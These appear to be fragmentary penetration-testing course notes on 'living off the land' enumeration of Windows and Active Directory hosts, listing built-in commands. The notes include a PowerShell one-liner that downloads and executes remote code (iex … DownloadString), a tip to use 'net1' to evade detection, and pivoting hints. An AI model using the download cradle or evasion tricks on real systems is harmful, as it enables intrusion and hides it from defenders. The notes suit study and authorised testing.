Living Off the Land Enumeration
OS Context
Basic enum commands
Command | Result |
hostname |
Prints the PC's Name |
[System.Environment]::OSVersion.Version |
Prints out the OS version and revision level |
wmic qfe get Caption,Description,HotFixID,InstalledOn |
Prints the patches and hotfixes applied to the host |
ipconfig /all |
Prints out network adapter state and configurations |
set |
Displays a list of environment variables for the current session (ran from CMD-prompt) |
echo %USERDOMAIN% |
Displays the domain name to which the host belongs (ran from CMD-prompt) |
echo %logonserver% |
Prints out the name of the Domain controller the host checks in with (ran from CMD-prompt) |
Powershell
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('URL to download the file from'); <follow-on commands>"
OPSEC Techniques
Checking Defenses
Other users on host?
Network Information
note
Using arp -a and route print will not only benefit in enumerating AD environments, but will also assist us in identifying opportunities to pivot to different network segments in any environment.
Windows Management Instrumentation (WMI)
https://gist.github.com/xorrior/67ee741af08cb1fc86511047550cdaf4
Net Commands
List of domain groups Information about the current user
OPSEC
Typing net1
instead of net
will execute the same functions without the potential trigger from the net string.
Dsquery
note
Elevated privs required for dsquery